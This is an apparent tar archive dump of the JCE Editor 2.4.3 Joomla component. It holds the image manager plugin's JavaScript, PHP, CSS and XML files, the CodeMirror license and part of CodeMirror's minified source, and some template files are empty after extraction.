0ustar00com_jce/editor/tiny_mce/plugins/imgmanager/imgmanager.php000066600000001123150771500630017655 0ustar00execute();com_jce/editor/tiny_mce/plugins/imgmanager/js/index.html000066600000000054150771500630017450 0ustar00com_jce/editor/tiny_mce/plugins/imgmanager/js/imgmanager.js000066600000026756150771500630020141 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var ImageManagerDialog={settings:{},init:function(){var ed=tinyMCEPopup.editor,n=ed.selection.getNode(),self=this,br,el;$('#insert').click(function(e){self.insert();e.preventDefault();});tinyMCEPopup.resizeToInnerSize();tinyMCEPopup.restoreSelection();var src=decodeURIComponent(ed.dom.getAttrib(n,'src'));src=ed.convertURL(src);TinyMCE_Utils.fillClassList('classlist');$.each(this.settings.attributes,function(k,v){if(!parseFloat(v)){$('#attributes-'+k).hide();}});$('#onmouseover, #onmouseout').focus(function(){$('#onmouseover, #onmouseout').removeClass('focus');$(this).addClass('focus');});$.Plugin.init({selectChange:function(){ImageManagerDialog.updateStyles();}});if(n&&n.nodeName=='IMG'){$('#insert').button('option','label',tinyMCEPopup.getLang('update','Update',true));$('#src').val(src);$('#sample').attr({'src':n.src}).attr($.Plugin.sizeToFit(n,{width:80,height:60}));var w=this.getAttrib(n,'width'),h=this.getAttrib(n,'height');if(w||h){$('#width, #height').addClass('edited');}else{w=n.width,h=n.height;} $('#width, #tmp_width').val(w);$('#height, #tmp_height').val(h);$('#constrain').prop('checked',w&&h);$('#alt').val(ed.dom.getAttrib(n,'alt'));$('#title').val(ed.dom.getAttrib(n,'title'));$.each(['top','right','bottom','left'],function(){$('#margin_'+this).val(ImageManagerDialog.getAttrib(n,'margin-'+this));});$('#border_width').val(function(){var v=self.getAttrib(n,'border-width');if($('option[value="'+v+'"]',this).length==0){$(this).append(new Option(v,v));} return v;});$('#border_style').val(this.getAttrib(n,'border-style'));$('#border_color').val(this.getAttrib(n,'border-color')).change();if(!$('#border').is(':checked')){$.each(['border_width','border_style','border_color'],function(i,k){$('#'+k).val(self.settings.defaults[k]).change();});} $('#align').val(this.getAttrib(n,'align'));$('#classes').val(ed.dom.getAttrib(n,'class'));$('#classlist').val(ed.dom.getAttrib(n,'class'));$('#style').val(ed.dom.getAttrib(n,'style'));$('#id').val(ed.dom.getAttrib(n,'id'));$('#dir').val(ed.dom.getAttrib(n,'dir'));$('#lang').val(ed.dom.getAttrib(n,'lang'));$('#usemap').val(ed.dom.getAttrib(n,'usemap'));$('#insert').button('option','label',ed.getLang('update','Update'));$('#longdesc').val(ed.convertURL(ed.dom.getAttrib(n,'longdesc')));$('#onmouseout').val(src);$.each(['onmouseover','onmouseout'],function(){v=ed.dom.getAttrib(n,this);v=$.trim(v);v=v.replace(/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/,'$1');v=ed.convertURL(v);$('#'+this).val(v);});br=n.nextSibling;if(br&&br.nodeName=='BR'&&br.style.clear){$('#clear').val(br.style.clear);}}else{$.Plugin.setDefaults(this.settings.defaults);} $('#margin_top, #margin_right, #margin_bottom, #margin_left').change(function(){self.setMargins();});$('#margin_check').click(function(){self.setMargins();});$('#align, #clear, #border_width, #border_styles, #border_color, #dir').change(function(){self.updateStyles();});$('#border').click(function(){self.setBorder();});$('#style').change(function(){self.setStyles();});$('#classlist').change(function(){self.setClasses(this.value);});WFFileBrowser.init($('#src'),{onFileClick:function(e,file){ImageManagerDialog.selectFile(file);},onFileInsert:function(e,file){ImageManagerDialog.selectFile(file);}});this.setBorder();this.setMargins(true);this.updateStyles();if(ed.settings.schema=='html5'&&ed.settings.validate){$('#longdesc').parent().parent().hide();}},insert:function(){var ed=tinyMCEPopup.editor,t=this;AutoValidator.validate(document);if($('#src').val()===''){$.Dialog.alert(tinyMCEPopup.getLang('imgmanager_dlg.no_src','Please enter a url for the image'));return false;} if($('#alt').val()===''){$.Dialog.confirm(tinyMCEPopup.getLang('imgmanager_dlg.missing_alt'),function(state){if(state){t.insertAndClose();}},{width:300,height:200});}else{this.insertAndClose();}},insertAndClose:function(){var ed=tinyMCEPopup.editor,self=this,v,args={},el,br='';this.updateStyles();tinyMCEPopup.restoreSelection();if(tinymce.isWebKit){ed.getWin().focus();} args={vspace:'',hspace:'',border:'',align:''};tinymce.each(['src','width','height','alt','title','classes','style','id','dir','lang','usemap','longdesc'],function(k){v=$('#'+k+':enabled').val();if(k=='src'){v=$.String.buildURI(v);} if(k=='width'||k=='height'){if(self.settings.always_include_dimensions){v=$('#'+k).val();}else{v=$('#'+k+'.edited').val()||'';}} if(k=='classes') k='class';args[k]=v;});args.onmouseover=args.onmouseout='';var over=$('#onmouseover').val(),out=$('#onmouseout').val();if(over&&out){args.onmouseover="this.src='"+ed.convertURL(over)+"';";args.onmouseout="this.src='"+ed.convertURL(out)+"';";} el=ed.selection.getNode();br=el.nextSibling;if(el&&el.nodeName=='IMG'){ed.dom.setAttribs(el,args);if(br&&br.nodeName=='BR'){if($('#clear').is(':disabled')||$('#clear').val()===''){ed.dom.remove(br);} if(!$('#clear').is(':disabled')&&$('#clear').val()!==''){ed.dom.setStyle(br,'clear',$('#clear').val());}}else{if(!$('#clear').is(':disabled')&&$('#clear').val()!==''){br=ed.dom.create('br');ed.dom.setStyle(br,'clear',$('#clear').val());ed.dom.insertAfter(br,el);}}}else{ed.execCommand('mceInsertContent',false,'',{skip_undo:1});el=ed.dom.get('__mce_tmp');if(!$('#clear').is(':disabled')&&$('#clear').val()!==''){br=ed.dom.create('br');ed.dom.setStyle(br,'clear',$('#clear').val());ed.dom.insertAfter(br,el);} ed.dom.setAttribs('__mce_tmp',args);ed.dom.setAttrib('__mce_tmp','id','');ed.undoManager.add();} tinyMCEPopup.close();},getAttrib:function(e,at){var ed=tinyMCEPopup.editor,v,v2;switch(at){case'width':case'height':return ed.dom.getAttrib(e,at)||ed.dom.getStyle(e,at)||'';break;case'align':if(v=ed.dom.getAttrib(e,'align')){return v;} if(v=ed.dom.getStyle(e,'float')){return v;} if(e.style.display==="block"&&ed.dom.getStyle(e,'margin-left')==="auto"&&ed.dom.getStyle(e,'margin-right')==="auto"){return'center';} break;case'margin-top':case'margin-bottom':if(v=ed.dom.getStyle(e,at)){if(/auto|inherit/.test(v)){return v;} return parseInt(v.replace(/[^-0-9]/g,''));} if(v=ed.dom.getAttrib(e,'vspace')){return parseInt(v.replace(/[^-0-9]/g,''));} break;case'margin-left':case'margin-right':if(v=ed.dom.getStyle(e,at)){if(/auto|inherit/.test(v)){return v;} return parseInt(v.replace(/[^-0-9]/g,''));} if(v=ed.dom.getAttrib(e,'hspace')){return parseInt(v.replace(/[^-0-9]/g,''));} break;case'border-width':case'border-style':case'border-color':v='';tinymce.each(['top','right','bottom','left'],function(n){s=at.replace(/-/,'-'+n+'-');sv=ed.dom.getStyle(e,s);if(sv!==''||(sv!=v&&v!=='')){v='';} if(sv){v=sv;}});if(v!==''){$('#border').prop('checked',true);} if((at=='border-width'||at=='border-style')&&v===''){v='inherit';} if(at=='border-color'){v=$.String.toHex(v);} if(at=='border-width'){if(/[0-9][a-z]/.test(v)){v=parseFloat(v);}} return v;break;}},setMargins:function(e){var x=0,s=false;var v=$('#margin_top').val();var $elms=$('#margin_right, #margin_bottom, #margin_left');if(e){$elms.each(function(){if($(this).val()===v){x++;}});s=(x==$elms.length);$elms.prop('disabled',s).prev('label').toggleClass('disabled',s);$('#margin_check').prop('checked',s).prop('disabled',false).prev('label').removeClass('disabled');}else{s=$('#margin_check').is(':checked');$elms.each(function(){if(s){$(this).val(v);} $(this).prop('disabled',s).prev('label').toggleClass('disabled',s);});$('#margin_top').val(v);this.updateStyles();}},setBorder:function(){var s=$('#border').is(':checked');$('#border~:input, #border~span, #border~label').attr('disabled',!s).toggleClass('disabled',!s);this.updateStyles();},setClasses:function(v){return $.Plugin.setClasses(v);},setDimensions:function(a,b){$('#'+a+', #'+b).addClass('edited');return $.Plugin.setDimensions(a,b);},setStyles:function(){var self=this,ed=tinyMCEPopup,$img=$('#sample');$img.attr('style',$('#style').val());$.each(['top','right','bottom','left'],function(i,k){var v=ed.dom.getStyle($img.get(0),'margin-'+k);if(v.indexOf('px')!=-1){v=parseInt(v);} $('#margin_'+k).val(v);});this.setMargins(true);var border=false;$.each(['width','color','style'],function(i,k){var v=ed.dom.getStyle($img.get(0),'border-'+k);if(v==''){$.each(['top','right','bottom','left'],function(i,n){var sv=ed.dom.getStyle($img.get(0),'border-'+n+'-'+k);if(sv!==''||(sv!=v&&v!=='')){v='';} if(sv){v=sv;}});} if(v!==''){border=true;} if(k=='width'){v=/[0-9][a-z]/.test(v)?parseInt(v):v;} if(k=='color'){v=$.String.toHex(v);} if(border){$('#border').attr('checked','checked');$('#border_'+k).val(v);$('#border~:input, #border~span, #border~label').attr('disabled',false).toggleClass('disabled',false);if(k=='color'){$('#border_'+k).trigger('pick');}}});$('#align').val(function(){var v=$img.css("float");if(v){return v;} if($img.css('margin-left')==="auto"&&$img.css('margin-right')==="auto"&&$img.css('display')==="block"){return"center";} return"";});},updateStyles:function(){var ed=tinyMCEPopup,st,v,br,img=$('#sample'),k;$(img).attr('style',$('#style').val());$(img).attr('dir',$('#dir').val());$(img).css('float','');v=$('#align').val();if(v=='center'){$(img).css({'display':'block','margin-left':'auto','margin-right':'auto'});$('#clear').attr('disabled',true);$('#margin_left, #margin_right').val('auto');}else{$(img).css('float',v).css('display',function(){if(this.style.display==="block"&&this.style.marginLeft==="auto"&&this.style.marginRight==="auto"){return"";} return this.style.display;});$('#margin_left, #margin_right').val(function(){if(this.value==="auto"){return"";} return this.value;});if($('#margin_check').is(':checked')){$('#margin_top').siblings('input[type="text"]').val($('#margin_top').val());} $('#clear').attr('disabled',!v);} v=$('#clear:enabled').val();if(v){if(!$('#sample-br').get(0)){$(img).after('
    ');} $('#sample-br').css('clear',v);}else{$('#sample-br').remove();} $.each(['width','color','style'],function(i,k){if($('#border').is(':checked')){v=$('#border_'+k).val();}else{v='';} if(v=='inherit'){v='';} if(k=='width'&&/[^a-z]/i.test(v)){v+='px';} $(img).css('border-'+k,v);});$.each(['top','right','bottom','left'],function(i,k){v=$('#margin_'+k).val();$(img).css('margin-'+k,/[^a-z]/i.test(v)?v+'px':v);});var styles=ed.dom.parseStyle($(img).attr('style'));function compressBorder(n){var s=[];$.each(n,function(i,k){k='border-'+k,v=styles[k];if(v=='none'){delete styles[k];return;} if(v){s.push(styles[k]);delete styles[k];}});if(s.length){styles.border=s.join(' ');}} compressBorder(['width','style','color','image']);for(k in styles){if(k.indexOf('-moz-')>=0||k.indexOf('-webkit-')>=0){delete styles[k];}} $('#style').val(ed.dom.serializeStyle(styles));},_setRollover:function(src){$('input.focus','#rollover_tab').val(src);},selectFile:function(file){var self=this;var name=$(file).attr('title');var src=$(file).data('url');if(!$('#rollover_tab').is('.ui-tabs-hide')){this._setRollover(src);}else{name=$.String.stripExt(name);name=name.replace(/_/g,' ');$('#alt').val(name);$('#onmouseout').val(src);$('#src').val(src);if(!$(file).data('width')||!$(file).data('height')){var img=new Image();img.onload=function(){$.each(['width','height'],function(i,k){$('#'+k+', #tmp_'+k).val(img[k]).removeClass('edited');});};img.src=src;}else{$.each(['width','height'],function(i,k){$('#'+k+', #tmp_'+k).val($(file).data(k)).removeClass('edited');});} $('#sample').attr({'src':$(file).data('preview')}).attr($.Plugin.sizeToFit({width:$(file).data('width'),height:$(file).data('height')},{width:80,height:60}));}}};window.ImageManagerDialog=ImageManagerDialog;tinyMCEPopup.onInit.add(ImageManagerDialog.init,ImageManagerDialog);})();com_jce/editor/tiny_mce/plugins/imgmanager/tmpl/advanced.php000066600000006633150771500630020302 0ustar00
    com_jce/editor/tiny_mce/plugins/imgmanager/tmpl/index.html000066600000000054150771500630020010 0ustar00com_jce/editor/tiny_mce/plugins/imgmanager/tmpl/rollover.php000066600000002055150771500630020373 0ustar00
    com_jce/editor/tiny_mce/plugins/imgmanager/tmpl/image.php000066600000022673150771500630017621 0ustar00
    x  
    sample.jpg Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.
    com_jce/editor/tiny_mce/plugins/imgmanager/imgmanager.xml000066600000031415150771500630017675 0ustar00 WF_IMGMANAGER_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_IMGMANAGER_DESC imgmanager en-GB.com_jce_imgmanager.ini com_jce/editor/tiny_mce/plugins/imgmanager/classes/imgmanager.php000066600000014474150771500630021327 0ustar00 true)); $browser = $this->getBrowser(); $browser->addEvent('onUpload', array($this, 'onUpload')); } /** * Display the plugin * @access public */ public function display() { parent::display(); $document = WFDocument::getInstance(); // create new tabs instance $tabs = WFTabs::getInstance(array( 'base_path' => WF_EDITOR_PLUGIN )); // Add tabs $tabs->addTab('image'); $tabs->addTab('rollover', $this->getParam('tabs_rollover', 1)); $tabs->addTab('advanced', $this->getParam('tabs_advanced', 1)); $document->addScript(array('imgmanager'), 'plugins'); $document->addStyleSheet(array('imgmanager'), 'plugins'); $document->addScriptDeclaration('ImageManagerDialog.settings=' . json_encode($this->getSettings()) . ';'); } function onUpload($file, $relative = '', $method = '') { $browser = $this->getBrowser(); $filesystem = $browser->getFileSystem(); $params = $this->getParams(); // get method (with bc check) if (empty($method)) { $method = JRequest::getWord('method', ''); } // dialog/form upload if ($method == 'inline' || $method == 'dragdrop') { $result = array( 'file' => $relative, 'name' => basename($relative) ); if ($params->get('always_include_dimensions', 1)) { $dim = @getimagesize($file); if ($dim) { $result['width'] = $dim[0]; $result['height'] = $dim[1]; } } $defaults = $this->getDefaults(); unset($defaults['always_include_dimensions']); $styles = array(); foreach ($defaults as $k => $v) { switch ($k) { case 'align': // convert to float if ($v == 'left' || $v == 'right') { $k = 'float'; } else { $k = 'vertical-align'; } // check for value and exclude border state parameter if ($v != '') { $styles[str_replace('_', '-', $k)] = $v; } break; case 'border_width': case 'border_style': case 'border_color': // only if border state set $v = $defaults['border'] ? $v : ''; // add px unit to border-width if ($v && $k == 'border_width' && is_numeric($v)) { $v .= 'px'; } // check for value and exclude border state parameter if ($v != '') { $styles[str_replace('_', '-', $k)] = $v; } break; case 'margin_left': case 'margin_right': case 'margin_top': case 'margin_bottom': // add px unit to border-width if ($v && is_numeric($v)) { $v .= 'px'; } // check for value and exclude border state parameter if ($v != '') { $styles[str_replace('_', '-', $k)] = $v; } break; case 'classes': case 'title': case 'id': case 'direction': case 'usemap': case 'longdesc': case 'style': case 'alt': if ($k == 'direction') { $k = 'dir'; } if ($k == 'classes') { $k = 'class'; } if ($v != '') { $result[$k] = $v; } break; } } if (!empty($styles)) { $result['styles'] = $styles; } return $result; } return $browser->getResult(); } public function getSettings($settings = array()) { $params = $this->getParams(); $settings = array( 'attributes' => array( 'dimensions' => $params->get('imgmanager.attributes_dimensions', 1), 'align' => $params->get('imgmanager.attributes_align', 1), 'margin' => $params->get('imgmanager.attributes_margin', 1), 'border' => $params->get('imgmanager.attributes_border', 1) ), 'always_include_dimensions' => $params->get('imgmanager.always_include_dimensions', 0) ); return parent::getSettings($settings); } /** * Get default parameters * @return string parameters */ public function getDefaults($defaults = array()) { return parent::getDefaults($defaults); } } ?>com_jce/editor/tiny_mce/plugins/imgmanager/classes/index.html000066600000000054150771500630020471 0ustar00com_jce/editor/tiny_mce/plugins/imgmanager/classes/config.php000066600000002271150771500630020455 0ustar00getParam('inline_upload', $plugin->getParam('dragdrop_upload', 1, 0), 0)) { $settings['imgmanager_upload'] = json_encode(array( 'max_size' => $plugin->getParam('max_size', 1024), 'filetypes' => $plugin->getFileTypes() )); } } } ?>com_jce/editor/tiny_mce/plugins/imgmanager/index.html000066600000000054150771500630017034 0ustar00com_jce/editor/tiny_mce/plugins/imgmanager/css/imgmanager.css000066600000002250150771500630020450 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ .ui-tabs-panel{height:200px;overflow:auto;}#jce span#upload{background-position:0 -72px;}#jce #image_tab fieldset{border:0 none;}#jce #image_tab legend{padding:0;}div.preview{overflow:hidden;padding:6px 5px;margin:0;text-align:left;height:150px;position:relative;border-left:1px solid #B6B6B6;}#width,#height{width:50px;text-align:center;color:#aaa;}#width.edited,#height.edited{color:inherit;}#constrain{width:auto;}#id,#dir,#lang,#usemap,#longdesc,#class,#src,#title,#alt,#onmouseout,#onmouseover,#classlist,#style,#classes{width:350px;}#margin_top,#margin_right,#margin_bottom,#margin_left,#border_style,#border_width,#border_color,#clear{margin:0 5px;}#border_style,input.editable-input{margin:0 0 0 5px;}#align{margin-right:5px;}#border{margin-left:0;}#border_width{width:80px;}label[for="rollover_check"]{min-width:30px;}#jce table td{padding:3px 2px;}#jce.ie7 .ui-tabs-panel{height:210px;}#jce.ie div.preview{padding:7px 0 8px 0;}#jce.ie7 div.preview{padding:8px 0 8px 0;}com_jce/editor/tiny_mce/plugins/imgmanager/css/index.html000066600000000054150771500630017624 0ustar00com_jce/editor/tiny_mce/plugins/imgmanager/editor_plugin.js000066600000004752150771500630020252 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){tinymce.create('tinymce.plugins.ImageManager',{init:function(ed,url){this.editor=ed;function isMceItem(n){return/mceItem/.test(n.className);} ed.addCommand('mceImageManager',function(){var n=ed.selection.getNode();if(n.nodeName=='IMG'&&isMceItem(n)){return;} ed.windowManager.open({file:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=imgmanager',width:780+ed.getLang('imgmanager.delta_width',0),height:640+ed.getLang('imgmanager.delta_height',0),inline:1,popup_css:false,size:'large-landscape'},{plugin_url:url});});ed.addButton('imgmanager',{title:'imgmanager.desc',cmd:'mceImageManager'});ed.onNodeChange.add(function(ed,cm,n){cm.setActive('imgmanager',n.nodeName=='IMG'&&!isMceItem(n));});ed.onInit.add(function(){if(ed&&ed.plugins.contextmenu){ed.plugins.contextmenu.onContextMenu.add(function(th,m,e){m.add({title:'imgmanager.desc',icon:'imgmanager',cmd:'mceImageManager'});});}});},insertUploadedFile:function(o){var ed=this.editor,data=this.getUploadConfig();if(data&&data.filetypes){if(new RegExp('\.('+data.filetypes.join('|')+')$','i').test(o.file)){var args={'src':o.file,'alt':o.alt||o.name,'style':{}};var attribs=['alt','title','id','dir','class','usemap','style','longdesc'];if(o.styles){var s=ed.dom.parseStyle(ed.dom.serializeStyle(o.styles));tinymce.extend(args.style,s);delete o.styles;} if(o.style){var s=ed.dom.parseStyle(o.style);tinymce.extend(args.style,s);delete o.style;} tinymce.each(attribs,function(k){if(typeof o[k]!=='undefined'){args[k]=o[k];}});return ed.dom.create('img',args);}} return false;},getUploadURL:function(file){var ed=this.editor,data=this.getUploadConfig();if(data&&data.filetypes){if(new RegExp('\.('+data.filetypes.join('|')+')$','i').test(file.name)){return ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=imgmanager';}} return false;},getUploadConfig:function(){var ed=this.editor,data=ed.getParam('imgmanager_upload');return data;},getInfo:function(){return{longname:'Image Manager',author:'Ryan Demmer',authorurl:'http://www.joomlacontenteditor.net',infourl:'http://www.joomlacontenteditor.net/index2.php?option=com_content&task=findkey&pop=1&lang=en&keyref=imgmanager.about',version:'2.4.3'};}});tinymce.PluginManager.add('imgmanager',tinymce.plugins.ImageManager);})();com_jce/editor/tiny_mce/plugins/source/js/codemirror/LICENSE000066600000002314150771500630020017 0ustar00Copyright (C) 2013 by Marijn Haverbeke Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Please note that some subdirectories of the CodeMirror distribution include their own LICENSE files, and are released under different licences. com_jce/editor/tiny_mce/plugins/source/js/codemirror/codemirror-compressed.js000066600000615130150771500630023665 0ustar00!function(a){if("object"==typeof exports&&"object"==typeof module)module.exports=a();else{if("function"==typeof define&&define.amd)return define([],a);this.CodeMirror=a()}}(function(){"use strict";function z(a,c){if(!(this instanceof z))return new z(a,c);this.options=c=c||{};for(var d in Xd)c.hasOwnProperty(d)||(c[d]=Xd[d]);M(c);var e=c.value;"string"==typeof e&&(e=new qf(e,c.mode)),this.doc=e;var f=this.display=new A(a,e);f.wrapper.CodeMirror=this,J(this),H(this),c.lineWrapping&&(this.display.wrapper.className+=" CodeMirror-wrap"),c.autofocus&&!r&&Pc(this),this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,focused:!1,suppressEdits:!1,pasteIncoming:!1,cutIncoming:!1,draggingText:!1,highlight:new lg},b&&setTimeout(wg(Oc,this,!0),20),Sc(this);var g=this;yc(this,function(){g.curOp.forceUpdate=!0,uf(g,e),c.autofocus&&!r||Hg()==f.input?setTimeout(wg(sd,g),20):td(g);for(var a in Yd)Yd.hasOwnProperty(a)&&Yd[a](g,c[a],$d);for(var b=0;bb.maxLineLength&&(b.maxLineLength=c,b.maxLine=a)})}function M(a){var b=sg(a.gutters,"CodeMirror-linenumbers");-1==b&&a.lineNumbers?a.gutters=a.gutters.concat(["CodeMirror-linenumbers"]):b>-1&&!a.lineNumbers&&(a.gutters=a.gutters.slice(0),a.gutters.splice(b,1))}function N(a){var b=a.display.scroller;return{clientHeight:b.clientHeight,barHeight:a.display.scrollbarV.clientHeight,scrollWidth:b.scrollWidth,clientWidth:b.clientWidth,barWidth:a.display.scrollbarH.clientWidth,docHeight:Math.round(a.doc.height+Wb(a.display))}}function O(a,b){b||(b=N(a));var c=a.display,d=b.docHeight+gg,e=b.scrollWidth>b.clientWidth,f=d>b.clientHeight;if(f?(c.scrollbarV.style.display="block",c.scrollbarV.style.bottom=e?Kg(c.measure)+"px":"0",c.scrollbarV.firstChild.style.height=Math.max(0,d-b.clientHeight+(b.barHeight||c.scrollbarV.clientHeight))+"px"):(c.scrollbarV.style.display="",c.scrollbarV.firstChild.style.height="0"),e?(c.scrollbarH.style.display="block",c.scrollbarH.style.right=f?Kg(c.measure)+"px":"0",c.scrollbarH.firstChild.style.width=b.scrollWidth-b.clientWidth+(b.barWidth||c.scrollbarH.clientWidth)+"px"):(c.scrollbarH.style.display="",c.scrollbarH.firstChild.style.width="0"),e&&f?(c.scrollbarFiller.style.display="block",c.scrollbarFiller.style.height=c.scrollbarFiller.style.width=Kg(c.measure)+"px"):c.scrollbarFiller.style.display="",e&&a.options.coverGutterNextToScrollbar&&a.options.fixedGutter?(c.gutterFiller.style.display="block",c.gutterFiller.style.height=Kg(c.measure)+"px",c.gutterFiller.style.width=c.gutters.offsetWidth+"px"):c.gutterFiller.style.display="",n&&0===Kg(c.measure)){c.scrollbarV.style.minWidth=c.scrollbarH.style.minHeight=o?"18px":"12px";var g=function(b){Wf(b)!=c.scrollbarV&&Wf(b)!=c.scrollbarH&&zc(a,Vc)(b)};Yf(c.scrollbarV,"mousedown",g),Yf(c.scrollbarH,"mousedown",g)}}function P(a,b,c){var d=c&&null!=c.top?c.top:a.scroller.scrollTop;d=Math.floor(d-Vb(a));var e=c&&null!=c.bottom?c.bottom:d+a.wrapper.clientHeight,f=Af(b,d),g=Af(b,e);if(c&&c.ensure){var h=c.ensure.from.line,i=c.ensure.to.line;if(f>h)return{from:h,to:Af(b,Bf(vf(b,h))+a.wrapper.clientHeight)};if(Math.min(i,b.lastLine())>=g)return{from:Af(b,Bf(vf(b,i))-a.wrapper.clientHeight),to:i}}return{from:f,to:g}}function Q(a){var b=a.display,c=b.view;if(b.alignWidgets||b.gutters.firstChild&&a.options.fixedGutter){for(var d=T(b)-b.scroller.scrollLeft+a.doc.scrollLeft,e=b.gutters.offsetWidth,f=d+"px",g=0;g=a.display.viewFrom&&g.to<=a.display.viewTo)break}return a.display.updateLineNumbers=null,f&&(bg(a,"update",a),(a.display.viewFrom!=d||a.display.viewTo!=e)&&bg(a,"viewportChange",a,a.display.viewFrom,a.display.viewTo)),f}function V(a,b,c){var d=a.display,e=a.doc;if(!d.wrapper.offsetWidth)return Gc(a),void 0;if(!(!c&&b.from>=d.viewFrom&&b.to<=d.viewTo&&0==Kc(a))){R(a)&&Gc(a);var f=$(a),g=e.first+e.size,h=Math.max(b.from-a.options.viewportMargin,e.first),i=Math.min(g,b.to+a.options.viewportMargin);d.viewFromi&&d.viewTo-i<20&&(i=Math.min(g,d.viewTo)),y&&(h=Ne(a.doc,h),i=Oe(a.doc,i));var j=h!=d.viewFrom||i!=d.viewTo||d.lastSizeC!=d.wrapper.clientHeight;Jc(a,h,i),d.viewOffset=Bf(vf(a.doc,d.viewFrom)),a.display.mover.style.top=d.viewOffset+"px";var k=Kc(a);if(j||0!=k||c){var l=Hg();return k>4&&(d.lineDiv.style.display="none"),_(a,d.updateLineNumbers,f),k>4&&(d.lineDiv.style.display=""),l&&Hg()!=l&&l.offsetHeight&&l.focus(),Eg(d.cursorDiv),Eg(d.selectionDiv),j&&(d.lastSizeC=d.wrapper.clientHeight,Rb(a,400)),Y(a),!0}}}function W(a){var b=a.display,c=_b(a,b.maxLine,b.maxLine.text.length).left;b.maxLineChanged=!1;var d=Math.max(0,c+3),e=Math.max(0,b.sizer.offsetLeft+d+gg-b.scroller.clientWidth);b.sizer.style.minWidth=d+"px",eg&&(g=tc(b)),(j>.001||-.001>j)&&(yf(f.line,g),Z(f.line),f.rest))for(var k=0;k=b&&m.lineNumber;m.changes&&(sg(m.changes,"gutter")>-1&&(o=!1),ab(a,m,k,c)),o&&(Eg(m.lineNumber),m.lineNumber.appendChild(document.createTextNode(S(a.options,k)))),g=m.node.nextSibling}else{var n=ib(a,m,k,c);f.insertBefore(n,g)}k+=m.size}for(;g;)g=i(g)}function ab(a,b,c,d){for(var e=0;e=0){var g=qb(f.from(),e.from()),h=pb(f.to(),e.to()),i=f.empty()?e.from()==e.head:f.from()==f.head;b>=d&&--b,a.splice(--d,2,new sb(i?h:g,i?g:h))}}return new rb(a,b)}function ub(a,b){return new rb([new sb(a,b||a)],0)}function vb(a,b){return Math.max(a.first,Math.min(b,a.first+a.size-1))}function wb(a,b){if(b.linec?mb(c,vf(a,c).text.length):xb(b,vf(a,b.line).text.length)}function xb(a,b){var c=a.ch;return null==c||c>b?mb(a.line,b):0>c?mb(a.line,0):a}function yb(a,b){return b>=a.first&&b=f.ch:j.to>f.ch))){if(d&&($f(k,"beforeCursorEnter"),k.explicitlyCleared)){if(h.markedSpans){--i;continue}break}if(!k.atomic)continue;var l=k.find(0>g?-1:1);if(0==nb(l,f)&&(l.ch+=g,l.ch<0?l=l.line>a.first?wb(a,mb(l.line-1)):null:l.ch>h.text.length&&(l=l.lineb&&(b=0),f.appendChild(Cg("div",null,"CodeMirror-selected","position: absolute; left: "+a+"px; top: "+b+"px; width: "+(null==c?i-a:c)+"px; height: "+(d-b)+"px"))}function k(b,c,d){function m(c,d){return mc(a,mb(b,c),"div",f,d)}var k,l,f=vf(e,b),g=f.text.length;return Tg(Cf(f),c||0,null==d?g:d,function(a,b,e){var n,o,p,f=m(a,"left");if(a==b)n=f,o=p=f.left;else{if(n=m(b-1,"right"),"rtl"==e){var q=f;f=n,n=q}o=f.left,p=n.right}null==c&&0==a&&(o=h),n.top-f.top>3&&(j(o,f.top,null,f.bottom),o=h,f.bottoml.bottom||n.bottom==l.bottom&&n.right>l.right)&&(l=n),h+1>o&&(o=h),j(o,n.top,p-o,n.bottom)}),{start:k,end:l}}var d=a.display,e=a.doc,f=document.createDocumentFragment(),g=Xb(a.display),h=g.left,i=d.lineSpace.offsetWidth-g.right,l=b.from(),m=b.to();if(l.line==m.line)k(l.line,l.ch,m.ch);else{var n=vf(e,l.line),o=vf(e,m.line),p=Le(n)==Le(o),q=k(l.line,l.ch,p?n.text.length+1:null).end,r=k(m.line,p?0:null,m.ch).start;p&&(q.top0&&(b.blinker=setInterval(function(){b.cursorDiv.style.visibility=(c=!c)?"":"hidden"},a.options.cursorBlinkRate))}}function Rb(a,b){a.doc.mode.startState&&a.doc.frontier=a.display.viewTo)){var c=+new Date+a.options.workTime,d=ee(b.mode,Ub(a,b.frontier));yc(a,function(){b.iter(b.frontier,Math.min(b.first+b.size,a.display.viewTo+500),function(e){if(b.frontier>=a.display.viewFrom){var f=e.styles;e.styles=Ze(a,e,d,!0);for(var g=!f||f.length!=e.styles.length,h=0;!g&&hc?(Rb(a,a.options.workDelay),!0):void 0})})}}function Tb(a,b,c){for(var 